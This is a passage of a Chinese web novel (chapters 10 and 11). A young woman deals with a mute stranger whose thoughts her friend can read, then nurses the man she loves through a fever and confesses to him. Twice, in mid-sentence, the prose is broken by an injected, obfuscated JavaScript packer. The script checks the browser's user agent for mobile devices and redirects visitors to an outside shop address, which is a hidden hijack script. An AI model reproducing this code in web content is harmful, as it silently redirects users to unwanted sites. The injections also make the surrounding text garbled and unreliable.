“他说什么?”洛明昭忙里抽闲回云尔蓁的话,“他是个哑巴,不会说话。” 回了这句,洛明昭又安抚着孟念娘的情绪,不知为什么,念娘对季晏白似乎有很大意见,这两人再待下去早晚要出事。思及此处,洛明昭向孟陵使了使眼色:“念娘,我看这天色沉了,咱们新洗的布料不还在院中晾着吗?眼看着要下雨了,你能不能和阿陵回去收一下啊,我和蓁蓁稍后就回来。” “是啊,阿娘,我们回家收衣服吧。”孟陵扯了扯孟念娘的衣角。 “那也行,看到这人我就无名火,回去也好。”孟念娘将方才急匆匆推到肘弯的袖子收拾好,正欲转身,又想起什么转身看着洛明昭,“明昭,提防着点这混小子啊,别让他给骗了。” 话毕,她又向一旁的云尔蓁颔了颔首,这才离开了宅邸。孟陵紧随其后,离开前转身向洛明昭摆了摆手,做了个口型:“洛姐姐晚上见。” “晚上见。”洛明昭向她笑。 待到送走孟念娘,洛明昭这才意识到身侧二人身上的诡异之处。 不知为何,自云尔蓁进门那瞬开始,这个季晏白似乎就乖了许多。也不闹不吵了,也不挣扎了,只一动不动地盯着那边的云尔蓁。 云尔蓁也回以目光。 将二人这一动不动的模样收入眼中,洛明昭忽而拦在云尔蓁身前,笑道:“你们认识?” “不认识。”云尔蓁回答得干脆。 话毕,云尔蓁又拉着洛明昭的袖子,将她拽到角落,压低声音:“小昭儿,很是诡异啊。” “怎么了?”洛明昭愣了愣神,又忽而反应过来,“啊,你说季晏白,他一个哑巴,出现在这里的确很奇怪。” “不是这种诡异。”云尔蓁摇摇头,俯首帖耳声音更低了,“小昭儿,我能听见他说什么啊!” “这怎么可能呢?他不是个哑巴吗?”洛明昭话毕,又回头看了眼季晏白,“这不可能吧。” “是真的。”云尔蓁拍了拍洛明昭手背,凑近了些,“他刚刚就在想……” 云尔蓁清了清嗓子,视线状若无意从季晏白身上瞥过,压低声音附在洛明昭耳畔轻声道:“不知道这俩女孩又在说我什么坏话。” “长得这么好看心肠这么狠毒。” “一点儿人话也不听。” “不是说我嫂嫂是个心善的人吗?这怎么……” 洛明昭听到这里已经完全相信了,她刚刚还没来得及告诉云尔蓁嫂嫂这件事,若她还是这种说法,那只能证明她说的话句句属实。思及此处,洛明昭一口打断了云尔蓁的话:“好了,我信了!我真信了!” “这究竟是怎么回事?” 10. 骤雨 “小昭儿,先把为什么我能听到他的想法这件事放一放。”云尔蓁皱着眉头轻嘶一声,压低声音看着洛明昭道,“他说嫂嫂?谁?为何他的语气如此熟稔……” “他刚刚的确指着我,在纸上写了嫂嫂二字。”洛明昭颇为无奈地笑了起来,“可我连他兄长是谁都不晓得,如何做得他嫂嫂?” 听了这话,云尔蓁以手环臂,指尖轻点掌心:“该不会他有什么疯病吧?对了!我不是能听到他的思绪吗?那我去问问他哥哥是谁不就好了,昭昭,你且等我一等。” 话毕,云尔蓁也不再同洛明昭攀谈,结束了二人的耳语。她快步走向书桌,只见那名为季晏白的人正襟危坐,看着她的目光依旧带了几分她不明白的雀跃振奋,云尔蓁将这目光略过,双手撑向微微倾身靠近他:“喂,季晏白!” 他在心里打鼓抱怨的声音她也听得一清二楚。 云尔蓁唇角微弯,用外出商谈时颇有压迫感的视线一瞬不瞬地看着季晏白,意外的是,这男人竟当真有一番魄力,全程连目光都没偏转半分。 “你先是平白无故闯进我们小昭儿书房,又装聋作哑演了一出好戏,还将小昭儿戏称为嫂嫂开她的玩笑。此前诸般先不论,我且问你,你口中的兄长是谁?” 季晏白并不知道面前这个倾身望着他的姑娘能够将他的心思读得一清二楚,方才那么闹了一遭,他也累得够呛。听了云尔蓁的问话,他几乎是毫不犹豫地握起笔取出新纸,继续他那些鬼画符一样的字迹。 见状,洛明昭也有些好奇地凑了过来。虽说这季晏白怎么看都像个得了疯病的人,但洛明昭还是很想知道到底为什么他会出现在她的书房。 云尔蓁早在他提笔那刻就知道了答案,心上一惊,忽而想起了洛明昭往日里跟她说过了很多次的那个名字,不自觉笑了起来,但还是等季晏白写完了,她才装作认字般捧着那这张对洛明昭开口道:“他的意思是,他是越斯年的弟弟。” 听到这个名字,洛明昭有些意外。长睫扑闪几下,从云尔蓁手中接过那张鬼画符的纸,认认真真辨认一番,却还是没看出字形。想来,蓁蓁应该也没看出来这是什么字,除了孟陵这世界上能认出这字迹的人大概不多。这么说来,云尔蓁怕不是真的能够听到他的所思所想,这倒真是奇事一桩! 再抬眸,洛明昭不由得带了几分敬佩:“蓁蓁,真没想到,你可以啊!” 至于嫂嫂那个称呼,洛明昭指尖点了点桌面,将那张纸放在桌面:“季公子,你与斯……你与越坊主是什么关系?又为何要称呼我为嫂嫂?” “他说,他是越斯年姨母的儿子,受过哥哥照顾。不过季晏白小时候走丢了,所以现在在想办法回家……”云尔蓁垂下眼睫偷瞄他的字迹做样子,毫不客气地戳了戳他的后背催促,“还有吗?写快点。” 季晏白听了这道催促,没忍住向身后的人投去控诉的目光。 “你还瞪我!”云尔蓁又戳了戳他,“你个来历不明的,你瞪我?” 毕竟自己理亏在先,季晏白收了脾气,继续笔走龙蛇。 “他说……他好不容易到了仁和县,打听到越斯年的踪迹,还没来得及相认就被人扔在这里了。”云尔蓁继续为洛明昭解释他的话。 “所以为什么叫我嫂嫂?”洛明昭听了季晏白的来路,仍是不明白他究竟为什么要称呼她嫂嫂。 闻言,云尔蓁扭过头看着季晏白等他后话与笔下的字迹,不知听到了什么,她的眉头倏尔紧蹙,旋即又徐徐舒展。她向那坐上人投去一记眼刀,这才急匆匆继续:“因为他觉得……昭昭你容貌出众,与他哥哥很是般配!” “这是什么理由?”洛明昭被他这种荒谬的理由逗笑了,她张了张嘴,忽而看到了季晏白置于桌面的手腕处红肿一片,还擦破了皮。发丝凌乱不堪,脸上还沾了灰,想必已经很累了。 将这些收入眼底,洛明昭已经到嘴边的揶揄就此忍下,不过是想要寻找兄长家人的可怜人。总之只要他有名有姓有身份,不是坏人就好,其他的事情以后再慢慢查也不是不行。 “好了,今天一整天也很累了。”洛明昭舒了一口气,站起身来,“我不是你嫂嫂,我与越坊主如今并非夫妻,你这样称呼于我于他都不妥当,季公子以后不要再这样称呼了。” 季晏白点了点头。 “既然落难了,你为何不寻父母亲人,要寻一个姨母处的兄长呢?”洛明昭抬步之前又想到一不解之处。 “他说……越斯年早就没有家人了,他的全家都死了,当初越斯年尚在病中被家仆护着送到了他家,他们两个人自小一处长大的。”转述这些时,云尔蓁的声音放得很轻,毕竟这是越斯年的私事,还是并不算好的那种悲惨往事。让喜欢越斯年的昭昭听到,想必会难受吧? 云尔蓁小心窥探一侧洛明昭的表情,见她眉宇之间有片刻悲戚,然而这神色却被她很好地掩饰了过去。 她好像从来都这样,共情所有包容一切,也不管自己能不能负担那些。思及此处,云尔蓁靠近些,轻轻环了环洛明昭:“好昭昭,那都过去了,他现在不还活得好好的吗?” 洛明昭抚着她的小臂,很轻地笑了起来。 “对了,还有最后一个问题,你要找你哥哥,为什么最开始对我说你要去云家?”洛明昭又想到这里,忽而转身问他。 云尔蓁也垂眸看他,不知她又听到了什么,没忍住笑了起来。 “他胡说八道的,小昭儿,你不要在意。”云尔蓁将这话说了个囫囵,又急切道,“天色已晚,听外面风声大作,想必没过多久就要落雨了。不如这样,我带他先回云府,总之我府中看家护院也多,祖母待我素来宽容坦荡,这样倒比将他放在你这里安全得多。” “行。”洛明昭应下她的话,看了眼季晏白,轻呼一口气,“今天还害你受了伤,真是不打不相识,不好意思啊,季公子。” 季晏白受宠若惊看着洛明昭,下意识张了张嘴却发现自己没办法出声,这才立刻摆了摆手。 云尔蓁觑他一眼,不情不愿地继续做他的传达人:“小昭儿,我看啊,他是在说是他给你添了这些麻烦心里有愧,该是他说道歉才是。而这些损坏的物件儿,他都会照价赔偿” 季晏白点了点头。 洛明昭见状,眉眼稍弯:“既然你的情况都已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371507|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经坦诚相告,而我与你兄长也确实有些渊源,那就正式认识一下吧,我叫洛明昭,是此处之后的租户。” 季晏白向她拱了拱手。 “得了,说开了那咱们就先回去吧。”云尔蓁拍了拍手,利落干脆道,“走吧,门口有云家马车等,小昭儿我送你回去。” “行,那我恭敬不如从命了。”洛明昭取了钥匙将房门落锁,与云尔蓁并肩而行,季晏白跟在她二人身后,目光悄悄地落在了云尔蓁身上。 马车尚未行至市西坊,车厢就传来噼里啪啦的响动,洛明昭掀开垂帘一角向外看去,雨势愈大,泼天的雨幕之中连远处人影都看不真切。 “这雨真大啊,蓁蓁,你就别让车夫拐进市西坊了。”洛明昭将潮湿的指节收了回来,温声道,“就在前面那路畔给我放下,那儿离点春阁不远了,我走回去也是一样的。” “也行。”云尔蓁知道车夫就披了件单薄雨蓑,也想着要快些回云府,她从马车底取出一把崭新的油伞递给洛明昭,“小昭儿,巧了不是,我这里恰好有把新的油伞。这个时辰约摸着祖母又在差人在云府外等着我了,我用不上,你把它带上。记得走路仔细些,千万别淋湿,莫要着凉了。” “我晓得了。”洛明昭接过云尔蓁递来的油伞,心中甚觉熨帖。 下了马车,云尔蓁撩起车帘向她摆了摆手,二人这才分别。 瓢泼大雨溅湿裙摆,洛明昭撑着伞小心翼翼走得缓慢,这房子的事情好歹算是解决了。今日逢雨,街道上除了更夫连个人影都没了,处理到这样晚,洛明昭后知后觉深觉困倦,她潦草地打了个哈欠,忽见不远处有一个相当奇怪的身影。 夜幕沉沉,雨幕中那抹依稀的人影看不真切,不知来人是谁。见其未撑雨伞,步子细碎潦倒,洛明昭被吓了一跳,手中紧了紧雨伞,并未出声。 左右距点春阁不过半条街的距离了,她不想贸然惹上什么事端。若是饮酒过路的人,她也不欲喧哗,避开就是。 谁知那抹身影却并未与她擦身而过,在距她几步之遥时骤然跌倒,那身形如玉山倾倒,直直向后仰去,摔出很大声响,让洛明昭有须臾惊惧。 她愣了愣,二话不说提起裙摆向那人的方向小跑而去。 簌簌雨势丝毫没有将停的征兆。雨水随着她跑动的动作落在她脸上,挡去视线,她用手掌随意擦过,旋即停步,躬下身子打量那摔倒的人。 “那个,你没事吧?” 洛明昭紧赶慢赶跨着步子上前,一手执伞,一手试图将那跌倒在地的人扶起来。却在看到那被雨水打湿的脸时,微不可查地轻蹙眉头。 只见那人衣衫尽湿,向来整齐的发乱得厉害,几绺碎发落在鬓边,双眼微阖,呼吸轻浅,向来素净的脸上晕起薄红,好不狼狈。 没想过会在这里,在这个时间见到他。按理说若在市西坊看到他。她该是雀跃至极的,但见到这样被骤雨摧折高热晕厥的他,洛明昭居然有些心口发涩。 雨水肆意落在他身上,洛明昭忙不迭以伞遮过他头顶,开口的声音带了几分急切,仔细听来甚至带了微不可察的轻颤。 “斯年哥哥!” 11. 钦慕 吱呀—— 紧闭的房门被人徐徐推开,越斯年睁开了双眼。额头剧烈疼痛让他有些难以忍受,尝试吞了吞口水,嗓子干涩生疼。 房间是清新的碧色,床帐挂得齐整。床头几支烛盏将浓稠夜色破开一方亮色,转过头,率先映入眼帘的是少女的裙摆。 来人的脚步很轻,随即而来的是一句轻声的问候。 “斯年哥哥,你怎么样了?” 洛明昭将手中的铁盆放在床头,在床尾落座,她抬手为床榻上的越斯年掖了掖被角,这才将目光挪到他脸上。 “我这是?” 越斯年的声音喑哑,一开口就带着很重的鼻音。头脑也昏昏沉沉的,神思缓缓归位,这才意识到自己此时或许是在……在洛明昭的宅子里吗? 今日的洛明昭不同往日那般雀跃生动,许是夜色渐深的缘故,她未饰簪钗,只穿了件素色的裙子。 “今日落了很大的雨,斯年哥哥怎么连把油伞也不带?”洛明昭稍稍为他整理被角就将手指收回搭在膝头。 房门半开着,院落中窸窣落雨声响传入耳中。 在这样突兀的雨声中,越斯年想起了自己那时拒了县尊的修书邀约,越家的事情,姨母的事情,随后又想起了她。 他是来见她的。 “出门太急,忘记了。”越斯年将自己的眸光落在她身后的豆灯上,刻意略过她的脸。怕她继续追问,会让自己那些难以名状的心绪在这个雨夜里袒露无余,他连忙追问道,“我怎么会出现在这里?” “斯年哥哥,这很难看出来吗?”洛明昭轻声笑了起来,抬手指了指门外,“雨势很大,我见你孤身一人,没有撑伞就晕在了市西坊,靠近时似乎还在高热,就把你扶回点春阁了。” 越斯年眉头轻轻蹙了起来,目光中染上几分茫然无措:“那这房间是?” “后堂,我的寝室。” “那这床榻是?”越斯年几乎是用了几分力气支着身子半坐起来看着她。 “那自然是我的床榻。”捕捉到越斯年瞬间晕红的表情,洛明昭带了笑意开口,甚至还想再逾矩些逗逗他,“怎得,我的床榻斯年哥哥便睡不得吗?” “斯年哥哥,你是个病人,我不会对一个病人做什么的。”洛明昭站起身来,轻声笑了。 越斯年被她这话说得脸色通红,偏偏此刻又在她床上,若说此话不妥倒显得是他在字句斟酌了。 他只得又躺平在榻,将被子扯了扯,微微掩住肩膀,眨了眨眼闷声道:“谢谢你救我,洛姑娘。” 洛明昭走向一旁的铁盆,将搭在一旁的方巾帕子涤湿,拧好放在他额上,俏声道:“不客气,斯年哥哥。” “只是,”越斯年的目光骤然对上洛明昭的视线,他并没有躲开,游离一瞬,又真切地望着她,“你为什么要救我呢?” 入夜时分,孤身一人的姑娘遇到了不撑伞就走在路边的鬼祟男人。这种人不是酒鬼就是骗子,易地而处,他觉得自己应该不会想救这样一个人。 可她却救了。 “看来,我真是个笨蛋。” 洛明昭撑着脑袋喃喃自语道。 “此话……”越斯年抬眸看她,开口时的声音钝钝的,带了些久热初恙的喑哑。 “此话何意?”洛明昭看他眉目之间有些许动摇,轻挑眉头,将越斯年即将出口的话顺势接上。 “我是说,我真是个笨蛋,分明已经表现得这样明显,你却还是没看出来。”话毕,洛明昭装模作样地叹了口气。 一番长吁短叹后,她抬起眼睫看着面前有些不知所措的越斯年,轻笑一声,将他额上的那方帕子取下来,“斯年哥哥,我在追你呢?你怎么就看不出来呢?我的心上人孤零零的像个落汤鸡倒在雨里,我心疼都还来不及,怎么可能视而不见?” 话毕,她转过身将帕子没入一旁的铜盆里,手掌触及凉水,冷得她指尖一瞬瑟缩。她不动声色地将那凉意忍下,垂下眼睫,语气温吞又和善:“斯年哥哥,我心悦你。” 这句后,她再不开口。只自顾自将手中的帕子换洗几遍,随后又捞了出来,拧干水渍。 二人之间只剩水滴唰啦入盆的清脆声,静得让人心悸。 她状若淡然地转过身,却没敢看他的眼睛,将帕子放在他额上,妥帖地按好边边角角。 越斯年却难掩此刻的意外与惊诧,若他没听错,她刚刚似乎对他说了……心悦? 她心悦他。 心几乎在一瞬间绞住了,细细密密的疼痛中夹杂着铺天盖地的欢喜。这情愫实在太过陌生,又实在是…… 太让人欢欣雀跃。 冰凉的帕子又一次落在额头,他的思绪变得通透。这世间待他好之人虽算不上多,好歹也有那么零星几个。 当年家仆将他送至姨母家,他照料幼弟,敬重姨母,也不可谓没有亲人。哪怕后来弟弟因故死去,再重逢时,姨母对他虽然变得淡薄可也并未疏离。 他还是有亲人的。 可明明比他还小上几岁,却用这幅妥善照料姿态对他说心悦的姑娘,只有洛明昭一个。 她自己还是个姑娘家呢。 她是认真的,还是在耍他玩儿? 她的心悦又能心悦多久呢? 越斯年的视线不偏不倚落在洛明昭处,将她的神情仔细揣摩。这样直白的陈情,越斯年此前鲜少遇到过。哪怕从前他也遇到过各式各样的打量目光,但那些都是对他这幅皮相的欣赏,越斯年看得出来。无论再容貌出尘的人,也难逃时光嗟磨,所以他对那些视线无动于衷。 可洛明昭也与他相识不过几日而已,她留在他身上的视线想来也只能是因为他这张脸,但此刻,他却不合常理地动摇了。 “若是无论你做什么,我都不会如你所愿呢?”越斯年掩唇轻咳几声,他坐直身子,目不转睛地注视着身前的洛明昭。 旁侧燃得正烈的烛火倏尔轻跳几下,发出噼啪一声轻响,洛明昭垂眸笑了。 “那就不如我所愿。”再抬眸时,洛明昭的眼神是前所未有的清明,“倘若无论我如何对你,都没办法打动你,让你将我视作独一无二的人,那就这样吧。” “斯年哥哥,你太低估我了,我既有倾慕你并付诸行动的决断,你自然也有不动心的自由。” “我对你好的时候并没有信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374126|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心你会恋慕我。我对你好,只是因为我想要对你好。” “就像你当年一样。” “你我……”越斯年借着微渺的烛火仔细打量面前的姑娘,许是夜色已深,她发丝低束,素净而又清丽的脸在烛火中看不真切,只一双星儿似的眼睛定定望着他,目光温柔缱绻,还带了几分若有似无的眷恋与依赖。 下意识就想到了许多年前那个救过的小孩。 有些娇气、嘴上说着要成为最坚强的人但实在什么男子气概、动不动就哭得止不住声、目光灼灼无论遇到了什么都不泄气、说自己脸上生了疮所以一路带着帕子的那个小男孩。 原来是她。 她竟是个姑娘。 “十七?” 洛明昭听他这句试探的话音,总算是笑了起来,她点点头,轻轻唤了声:“斯年哥哥。” 一切就这样水落石出,说出自己的心意似乎也并没有那么艰难。洛明昭轻呼一口气,收下他的拒绝,虽说仍有几分不甘,但人心是最不能强求的东西。即便他直白了当说了不爱慕她,她也得活下去不是。 思及此处,洛明昭抬起眼睫温声开口:“斯年哥哥,那我就不打扰你了,你早早休息……对了,你的衣服是我请方才的大夫帮忙换的,求了他好半晌他才应下。所有衣物都送去洗了,我并无冒昧越界,这点你可以放心。” 说完这些,洛明昭起身为他放好床帐,眼见就要转身离开。 “洛姑娘……” 眼见她掩去眸中的失落就要离开,越斯年立刻开口。他其实还没想好要怎么回应她的心意,他们只见了短短几面,怎么都没办法将面前这个姑娘和十七拼在一起。这两个人真的是同一个人吗?说到底,十七不过也只是一个救过的少年罢了,也没有太多交集。她是因为这才喜欢他吗? 他一声轻唤,止住了她的步伐。洛明昭正要转身,就听他轻咳几声后接着开口,“你能就那样听吗?先不要转过来,我有些话也想对你说。” 因为他救过她,所以才喜欢他吗?思绪乱成一团,越斯年还是决定先叫住她。若她现在离开了,回去想来是会伤心的。他不急不缓地整理着自己的思绪,将要出口的话在脑海里过了几遍,这才温声开口。 “你说心悦……”越斯年说到这句时卡了话头,默了几息,这才继续,“我听到的时候,其实很高兴。” “我从没有心悦过什么人,不明白心悦究竟是哪种感情。但也知道两情相悦的道理,姑娘既然愿意对我坦白陈情,想必就是要求一个两情相悦。” 她说喜欢他,可他从没喜欢过什么人。别说是人,就让他说一些喜欢的物件,他也说不出来。除了书以外,他的人生单调又无趣。像他这样的人,有什么好喜欢的呢? 但他不想让她伤心。 “我可以试试……”越斯年修长白皙的指节攥得发白,这才呼出一口气,温声开口,“我可以尝试,去学着喜欢姑娘。” “我可以试着,如你心悦我一般倾慕你。”越斯年喉间微微一动,似乎说这样的话就已经费尽他全部力气,“只是……我从没做过这些……如果有我做不好的地方,还请姑娘多教教我。”